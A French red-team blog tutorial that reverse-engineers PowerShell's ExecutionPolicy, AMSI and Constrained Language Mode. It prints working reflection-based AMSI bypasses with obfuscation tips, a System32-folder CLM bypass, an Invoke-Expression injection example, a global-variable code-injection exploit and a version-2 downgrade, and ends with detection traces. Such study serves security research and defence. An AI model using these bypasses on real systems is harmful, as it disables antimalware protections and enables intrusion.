Contournement des Protections de PowerShell #1 : EP, AMSI, CLM16 minute(s) de lecture

Microsoft n’était clairement pas aveugle concernant l’usage malveillant qu’il était fait de son nouveau Shell. Ainsi, pour aider les défenseurs, l’équipe PowerShell a travaillé sur différentes protections (sur lesquelles vous pouvez brièvement vous renseigner en consultant l’article de documentation sur PowerShell, disponible sur le blog). Chacune permettant de limiter l’impact de PowerShell sur un environnement Windows. Dans cet article, nous traiterons des contournements des règles d’exécutions, de l’ “AntiMalware Scan Interface” et du mode de langage contraint.

PowerShell depuis C#

A plusieurs reprises dans l’article, on aura la nécessité de contrôler les instructions que PowerShell exécute. Pour résoudre ce problème, on va simplement construire un programme C# qui utilise System.Management.Automation.dll. On va dans un premier temps indiquer que le programme utilisera les namespaces System.Management.Automation pour le cœur de PowerShell et System.Management.Automation.Runspaces qui permet de rendre persistante les entrées (si on crée une variable, elle est sauvegardée en mémoire). On définit deux méthodes, la première lance simplement une commande PowerShell unique en utilisant un objet de la classe PowerShell et la méthode .Invoke(). La deuxième crée un runspace, puis lui ajoute une pipeline qui permet l’exécution d’une commande PowerShell via la méthode déjà citée.

ExecutionPolicy

Officiellement l’ExecutionPolicy est défini ainsi : “La stratégie d’exécution de PowerShell est une fonctionnalité de sécurité qui contrôle les conditions dans lesquelles PowerShell charge les fichiers de configuration et exécute des scripts”. C’est cette dernière qui vous interdit donc, dans un système natif, d’effectuer des commandes comme PS>.\script.ps1 . En réalité il ne s’agit pas vraiment d’une protection, un script n’est rien de moins qu’une chaîne de caractère interprétée présente dans un fichier. Un contournement de cette restriction serait Invoke-Expression $(Get-Content .\script.ps1) ou de faire un DownloadCradle. S’il est souhaité de pouvoir s’affranchir directement au lancement, PowerShell propose un argument -ExecutionPolicy (abrégé exec) qui permet de contrôler les règles d’exécutions adoptées pour la session qui s’ouvrira. Il n’est absolument pas nécessaire d’être administrateur pour pouvoir influer sur cet argument, ainsi lorsqu’on lui fournit la valeur “Bypass”, PowerShell appliquera cette ExecutionPolicy qui nous autorise le lancement de script. S’il est souhaité de contourner cette restriction en “RunTime”, alors on peut utiliser ceci :

Set-ExecutionPolicy Bypass -Force -Scope Process

# ou pour faire stylé

$ctx = $ExecutionContext.GetType().GetField("_context","NonPublic,Instance").GetValue($ExecutionContext)
$ctx.GetType().GetField("_authorizationManager","NonPublic,Instance").SetValue($ctx, (New-Object System.Management.Automation.AuthorizationManager("Microsoft.PowerShell")))

Je ne détaillerai pas l’origine de ces courtes lignes et pourquoi elles permettent de contourner la restriction souhaitée car ce n’est pas le plus intéressant et comme mentionné, l’ExecutionPolicy est une restriction et non une protection. De surcroît en RedTeam on évite le plus possible de déposer des fichiers/binaires sur le disque.

AMSI

L’AMSI (pour “AntiMalware Scan Interface”) est une solution apportée par Microsoft pour pouvoir analyser le contenu de la mémoire afin de parer au mieux les attaques usant de langage de Scripting tel PowerShell, Jscript, VBA et plus récemment certaines API .NET.

Il s’agit d’une DLL située en C:\Windows\System32\amsi.dll et qui n’a pas été conçue en C#. Pour PowerShell, son implémentation se situe comme habituellement dans System.Management.Automation.dll, et cette dernière est une dll .NET. On lance ILSpy et on décompile la dll sus-mentionnée depuis GAC et on regarde la classe AmsiUtils.

Cette dernière charge plusieurs fonctions de amsi.dll. Certaines parties de la classe semblent plus intéressantes que d’autres: la définition des variables de la classe et la méthode ScanContent.

On charge dans DNSpy notre runspace PowerShell ainsi que PowerShell.exe et ajoutons les points d’arrêt suivants directement dans Sysem.Management.Automation:

Ainsi les points d’arrêt suivants dans notre méthode RunspaceExec:

En suivant l’exécution d’une commande, on remarque que notre commande est passée à ScanContent qui dans un premier temps va vérifier si l’AMSI est bien en place avant que l’antivirus analyse notre instruction et retourne si oui ou non elle a le droit d’être exécutée.

On peut alors étudier le comportement de PowerShell lorsque des commandes plus agressives sont données.

La technique mise en place n’est finalement pas magique, si la fonction ScanBuffer n’est pas appelée, l’antivirus est totalement aveugle à ce qu’il se passe. On remarque en revanche que certains court-circuits existent. Si l’AMSI n’est pas correctement initialisée, la variable de classe amsiInitFailed est mise a true qui résultera en le retour systématique de AMSI_RESULT NOT_DETECTED. Or nous avons le total contrôle sur la mémoire de notre processus, mieux encore, les possibilités d’interaction avec .NET nous permettent de modifier le comportement intrinsèque de PowerShell. Construisons un Bypass. Comme vous l’aurez peut-être remarqué, la classe AmsiUtils est une classe privée, c’est-à-dire qu’elle n’est pas accessible aisément depuis l’extérieur de la dll. En revanche, le type est toujours utilisable ce qui nous permet d’accéder à la classe AmsiUtils en utilisant une référence à l’assembly ce qui peut être fait comme ceci :

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

En utilisant la méthode .GetField(), on peut accéder à amsiInitFailed, ce qui nous permet de manipuler sa valeur:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonStatic,Public').SetValue($null, $true)

Ce bypass nous provient de Matt Graebers, qui l’a publié dans un tweet et a donc utilisé tout les moyens possibles pour le maintenir concis. Pour l’offusquer par exemple, changer l’accélérateur de type ou la classe pour accéder à System.Management.Automation est une excellente idée (puisque c’est généralement cela qui est flag) :

[PSObject].Assembly
(New-Object PSObject).GetType().Assembly 
([System.AppDomain]::CurrentDomain.GetAssemblies() | ? {try{$_.Location.Contains(‘Automation\’)} catch {}})

En réalité il est simplement exigé d’obtenir une référence de type RuntimeAssembly à System.Management.Automation. Avec un peu d’offuscation, on parvient à contourner l’AMSI.

Cette méthode, bien que rapide, a depuis perdu beaucoup de son efficacité. Defender étant particulièrement à l’aise pour détecter ce dernier (même offusquer par moment). Ainsi on voudrait trouver une autre manière pour procéder. Retournons voir le code de la classe AmsiUtils. Une variable relativement étrange est créée AmsiContext, qui est passé en argument à ScanBuffer. On lance Ghidra et on regarde à quoi correspond cette valeur.

Rapidement on trouve que si cette dernière est différente de 0 alors une erreur est levée (la valeur 0x80070057 est retournée, qui est un code HRESULT signifiant qu’un argument est invalide) et l’analyse de notre commande n’est pas effectuée. En utilisant le même procédé de changement de variable que le bypass précédent il vient naturellement:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext', 'NonPublic,Static').SetValue($null, [System.IntPtr]::new(1234))

Vous l’aurez compris, ces bypass ne s’appliquent uniquement qu’à PowerShell ce qui peut donc poser problème pour les autres langages de Scripting ou désormais du chargement d’assembly .NET. Puisque depuis la version 4.8, la méthode [System.Reflection.Assembly]::Load() (qui permet le chargement en mémoire d’assembly .NET) est surveillée par l’AMSI.

ConstrainLanguageMode

Sous PowerShell il existe principalement 4 types de “langage” d’exécution. Ces derniers changent notre rapport au Scripting et à l’interaction avec .NET:

  • FullLanguage permet de faire tout ce que l’on souhaite.
  • NoLanguage est tout le contraire, seul les cmdlets autorisées sont disponibles.
  • RestrictedLanguage, les scriptblock sont interdits, seul les cmdlets sont autorisées quelques opérateurs et variables par défaut restent cependant accessibles.
  • ConstrainLanguageMode (abrégé CLM) aucune interaction avec .NET n’est autorisée.Les méthodes vue plus haut sont donc interdites, New-Object ne peut être appelé uniquement qu’avec les types “core”. Add-Type est bloqué, tout comme System.Reflection. Des modules peuvent être importés et une confiance aveugle (exécution des fonctions importées en FullLanguage) leur est donné s’ils proviennent d’une installation PowerShell.

ConstrainLanguageMode est donc la protection idéale contre les scripts malveillant et les malwares puisque ces derniers reposent essentiellement sur les possibilités très puissantes de .NET qui sont désormais inaccessibles. Globalement, il existe 3 manières différentes de paramétrer CLM, avec AppLocker, DeviceGuard et en utilisant la clé de registre __PSLockdownPolicy en lui donnant pour valeur 4. En revanche, la dernière méthode est absolument à prohiber et nous allons voir pourquoi. Comme toujours dans ILSpy on décompile System.Management.Automation.dll et on inspecte la classe Security. Une méthode de cette dernière semble être plus intéressante que les autres GetDebugLockdownPolicy() qui nous informe des règles de sécurité présentes. Un argument énigmatique path peut éventuellement être passé, et s’il est différent de nul et qu’il contient le chaîne “System32”, il retourne une restriction inexistante (sentez-vous l’arnaque venir ?). Sinon, il obtient la valeur de la clé de registre __PSLockdownPolicy et la passe à la méthode GetLockdownPolicyForResult().

Comme précédemment, on charge notre programme avec DNSpy et posons les mêmes points d’arrêt que tout à l’heure. Nous poserons aussi des points d’arrêt dans la classe Security directement dans System.Management.Automation.dll.

Le langage de PowerShell est obtenu lors de la création du runspace via la méthode DoLanguage, on inspecte donc cette dernière avec ILSpy et on comprend qu’aucun bypass n’est possible à ce niveau puisque la méthode ne fait qu’ajouter une propriété à partir d’une variable déjà existante.

Avec cette méthode d’analyse nous ne pourrons aller bien loin. En effet, l’usage d’une pipeline nous bloque totalement dans notre recherche puisque cette dernière contourne par définition la protection. Essayons cette fois-ci de charger PowerShell.exe dans DNSpy.

Tout de suite, la méthode que nous suspections est appelée avec, pour la variable path, le chemin vers un fichier de module PSReadLine.

Or ce dernier est le résultat de l’importation d’un module, opération permise même avec CLM activé. Construisons notre méthode de contre-mesure. On commence par la création d’un dossier de nom System32 puis écrivons un petit script PowerShell qui nous informe du LanguageMode du contexte dans lequel il est chargé. Puis on l’écrit dans un fichier de module PowerShell .psm1, enfin nous l’importons (sans oublier le paramètre -Force).

Comme prévu, c’est le chemin vers notre script, puis vers notre fichier de module. Nous nous retrouvons avec une excellente surprise affichée. Bypassed !

$Host.Runspace.LanguageMode
New-Item 'System32' -ItemType Directory
'Write-Host ($Host.Runspace.LanguageMode)' | Out-File .\System32\bypass.psm1
Import-Module .\System32\bypass.psm1 -Force

Cette méthode ne risque pas de pouvoir être souvent utilisée. Généralement si ce type de protection est présent, c’est surtout car DeviceGuard ou AppLocker est activé et à ce stade les choses se compliquent. La manière donc PowerShell se renseigne sur les protections activent résulte en le chargement de dlls spécifiques sur lesquels nous n’avons aucun pouvoir.

Une autre stratégie de contournement réside dans la confiance accordée aux modules et aux codes signés. Si ces derniers sont vulnérables, alors il est possible de faire exécuter du code dans un contexte FullLanguage. Ces vulnérabilités d’injections de codes sont rares mais possibles, surtout quand il s’agit de fonction non officielle déployée sur un serveur JEA (qui sont assez rares tout de même) nous y reviendrons dans un prochain article. Le point d’entrée le plus connu concerne évidemment les fonctions usant de Invoke-Expression, cmdlet permettant l’exécution de code à partir de chaînes de caractère. Considérons le code suivant:

function New-StartupService {

	param {
		[String] $ServiceName
		[String] $BinaryPath
	}

	Invoke-Expression -Command " sc.exe create $ServiceName binPath=$BinaryPath start=auto "
}

Il est assez clair ici que les données que l’utilisateur spécifient ne sont pas vérifiées. Ainsi, la fonction est vulnérable puisque si cette dernière est appelée de la sorte New-StartupService -ServiceName " /?; Write-Host 'hello'# " alors notre code PowerShell qui ici simplement affiche “hello” sera exécuté. Souvent, l’appelle à de telle fonctionnalité n’est pas directe et on peut trouver par exemple: [PowerShell]::Create().AddScript($commande).Invoke() ou encore $ExecutionContext.InvokeCommand.ExpandString($var). Certains modules nécessitent l’ajout de classes et méthodes C# pour fonctionner correctement, voir personnaliser ces dernières en fonctions de paramètres. Par conséquent il peut ajouter du code C# à la session actuelle sans être contraint par le mode de langage. Si nous sommes en capacité d’interférer sur une telle variable, alors nous pourrons faire exécuter du code C# ou PowerShell via System.Reflection ou System.Management.Automation. Prenons l’exemple d’une vulnérabilité patchée : le module Microsoft.PowerShell.ODataUtils en version 1.1.6.0 (exemple tiré du blog de matterpreter). Le problème provient du début du script. En effet l’attaquant possède un droit d’écriture sur toutes les variables globales et peut même en modifier les propriétés. Considérons un code représentatif et un peu plus minimaliste:

$Global:TypeDefinition =  @" 
using System ;
using System.Diagnostics ;

public class CurrentProcess 
{
	public static void GetProcess() 
	{
		Process[] processCollection = Process.GetProcesses() ;
		foreach (Process p in processCollection)
		{
			Console.WriteLine(p.ProcessName) ;
		}
	}
}
 "@

Add-Type -TypeDefinition $Global:TypeDefinition -Language Csharp

Lors de l’importation du module, le contenu d’une variable globale est utilisé pour dynamiser et ajouter une classe .NET. Or nous avons le contrôle total de la mémoire et des variables de notre processus. Donc si on souhaite changer le contenu de la variable avant l’importation du module ET que l’on change le type de variable pour de la lecture seule, alors le module ne pourra écraser le contenu et donc ajoutera notre code, ce qui est effectué ainsi:

$SharpPick = @" 
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

public static class Exploit
{
	public static void Exec(string c)
	{
		Runspace rs = RunspaceFactory.CreateRunspace();
		rs.Open();
		Pipeline pline = rs.CreatePipeline();
		pline.Commands.AddScript(c + "|Out-String");
		Collection<PSObject> res = pline.Invoke();
		rs.Close();
		foreach (var re in res)
		{
			Console.WriteLine(re);
		}
	}
}
 "@
Set-Variable -Name $Global:TypeDefinition -Value $SharpPick -Option ReadOnly

Le module mentionné à évidemment été corrigé et le patch est pour le moins minimaliste puisqu’il a suffit de changer le registre de la variable de Global à Script.

D’autres méthodes sont plus simples et plus générales. La première consiste en la création d’un runspace PowerShell et l’utilisation d’une pipeline. Comme nous l’avons vu, cette dernière contournera aisément le ConstrainLanguageMode. L’exécution de commande complexe ou de module via SharpPick (c’est comme ça que cela s’appelle) nécessite parfois, la création d’un petit serveur web qui hostera le payload complet, sauf si votre C2 l’utilise nativement à l’instar de Covenant. Plusieurs outils utilisent cette technique pour contourner les restrictions de PowerShell, c’est le cas par exemple de PowerShdll/PSShell qui permet l’exécution, au travers d’une dll, de code PowerShell (avec rundll32.exe par exemple). SharpSploit (librairie voulant convertir au plus les codes de PowerSploit en C#) permet également de le faire et bien d’autres encore. L’une des conséquences du SharpPick est qu’elle requiert l’utilisation d’un bytecode .NET, on pourrait naturellement exiger de pouvoir être capable de le faire depuis un binaire plus standard. C’est en (Visual) C++ que l’on peut trouver de telles implémentations puisque Microsoft a créée des interfaces permettant l’interaction entre VC++ et CLR. UnmanagedPowerShell par leechristensen est l’idéal pour cette tâche. Il va charger dans un premier temps CLR dans le processus puis importer un SharpPick personnalisé pour exécuter les commandes PowerShell, elle contourne donc bien la protection dont nous souhaitons nous affranchir. Remarquons que la possibilité de charger CLR dans la mémoire d’un processus qui originellement ne l’a pas, nous permet ainsi d’imaginer une autre technique: créer une DLL et l’injecter là dans un autre processus. Cette dernière se prénomme ReflectivePick, et l’outil qui principalement l’utilise est PSInject. L’utilisation de PSInject est très pratique quand il faut user de scripts tel Get-ClipBoardContent.ps1 ou bien Get-Keystroke.ps1 qui n’ont besoin que de “vivre” pour obtenir des résultats. ReflectivePick repose sur la même construction que UnmanagedPowerShell, mais logiquement il ne faut pas s’attendre à un quelconque retour. L’ensemble de ces techniques est appelé PowerPick et énormément de C2 permettent de l’utiliser, PowerShellEmpire, Covenant, CobaltStrike, MetaSploit, et PoshC2 comme exemple et pour finir cette liste non-exaustive. Les codes sources de ces outils sont basés sur les originaux que vous pouvez retrouvez sur github.

Les vulnérabilités exploitant intrinsèquement la conception de CLM sont considérées par Microsoft comme des CVEs à part entière.

Le problème de la version 2

Le gros problème de l’ensemble de ces sécurités est ce que ces dernières ont été rajoutées au cours du temps et de l’évolution des méthodes utilisées par les attaquants. Ainsi, sur les toutes premières versions de System.Management.Automation.dll, ces sécurités ne sont pas présentes. Donc si cette version de PowerShell est disponible, l’utilisation de cette dernière contournera l’ensemble des contre-mesures existantes sauf les politiques d’exécutions. Pour lancer PowerShell dans une version spécifique, l’utilisation du paramètre -version est dédié. Cette attaque est appelée “downgrade”.

Enumération

Une fois fraîchement débarqué sur une cible, il est toujours préférable d’énumérer les défenses en vigueurs, SeatBelt est un outil du GhostPack écrit par les chercheurs de SpecterOps (particulièrement harmj0y). Plusieurs commandes existent pour lister les protections activent sur PowerShell et l’environnement dans lequel nous évoluons. Pour récolter les antivirus en place, on utilise la commande AntiVirus et pour savoir si ce dernier possède un provider AMSI on rajoute la commande AMSIProviders. Si la DLL par défaut de l’AMSI est retournée mais que l’antivirus est différent de Defender, alors nous n’aurons pas à nous en faire puisque lors de l’installation d’un antivirus tiers, Defender se fait désactier. Pour connaître la condition de PowerShell c’est-à-dire, les versions installées, si des systèmes de logging sont en place, l’argument à passer est tout simplement PowerShell. Si éventuellement d’autres protections sont en place qui ont un effet sur le comportement de notre shell préféré; il est aussi possible de les énumérer en utilisant la commande AppLocker. En revanche si CLM est activé par valeur de registre, il faudra utiliser la commande EnvironmentVariables et chercher __PSLockdownPolicy.

Impacts Forensics

Malgré tout, ces méthodes de contournements laissent des traces. Pour commencer, l’utilisation de la version 2 de PowerShell est visible. En effet, lorsque PowerShell est lancé, il provoque l’eventid 400 dans lequel plusieurs informations sont présentes notamment la version du moteur PowerShell utilisé. De plus, il existe un système de log natif à PowerShell qui expose certaines informations. Un scriptblock, est considéré comme une erreur ou un problème s’il contient certains mots que l’on peut obtenir en utilisant la commande [ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null). Lorsque des Pipelines sont utilisées, elle seront loggées dans l’eventid 800. De plus, si des règles ETW sont en place, il est possible de savoir quelles sont les références dont a besoin un bytecode .NET ce qui permet de savoir s’il utilise System.Management.Automation.

Conclusion

Bien que les moyens de protection autour de PowerShell ont grandement été améliorés, il subsiste encore des méthodes pour s’affranchir de ces mécanismes. En revanche, la lourdeur qu’implique ces contournements rendent l’utilisation de PowerShell plus contraignante d’autant plus lorsque des systèmes de logging sont présents. J’espère que l’article vous à plu !

Leave a Reply